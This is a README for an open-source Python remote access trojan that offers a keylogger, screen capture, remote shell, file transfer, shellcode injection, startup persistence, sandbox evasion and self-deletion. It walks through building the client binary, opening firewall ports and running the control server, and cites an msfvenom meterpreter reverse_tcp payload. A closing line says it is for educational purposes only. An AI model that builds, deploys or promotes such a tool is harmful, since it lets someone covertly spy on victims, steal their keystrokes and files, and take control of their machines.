This project is a cross-platform (Windows/Linux/MacOS) open source, backdoor/reverse tcp/RAT made in Python3 which contains many features such as multi-client support.
You will need:
- Python 3.10+
- One of the following
- Windows (Add python to PATH during installation)
- MacOS Big Sur or higher (earlier versions may not work with pyinstaller)
- Linux
- Download the repository via GitHub or git eg.
git clone https://github.com/xp4xbox/Python-Backdoor
- If on Linux install python3.10-dev eg.
sudo apt-get install python3.10-dev
- Install the required modules by running
python -m pip install -r requirements.txt
Currently, this program has several features, notably:
- Multi-client support
- Cross-platform server and client
- Fernet encryption
- Built-in keylogger
- Ability to send commands to all clients
- Ability to capture screenshots
- Ability to upload/download files
- Ability to open remote shell or python interpreter
- Ability to disable a process*
- Ability to inject shellcode*
- VM/sandboxie check*
- Add to startup*
- Ability to melt file*
Asterisk means only supported on Windows
- Open
src/setup.py
in python and configure options to build the client - Check the
dist
folder for the binary. - Disable your firewall on the server or configure your firewall to allow the port chosen.
- Run the
src/main_server.py -p <port>
to start the server and accept connections.
If you plan on using the program with DNS hostname or external IP, you must port forward your chosen port.
- On linux, if there are any problems with pip modules while building with pyinstaller, uninstall then re-install them using python3.10
- Injecting shellcode requires the architecture specified by the command. eg. x64:
msfvenom windows/x64/meterpreter/reverse_tcp
- For use outside of network specified port is not open, check specified port with a port scanner
- Keylogger, and screencapture required permissions in MacOS
This program is for educational purposes only. I take no responsibility or liability for own personal use.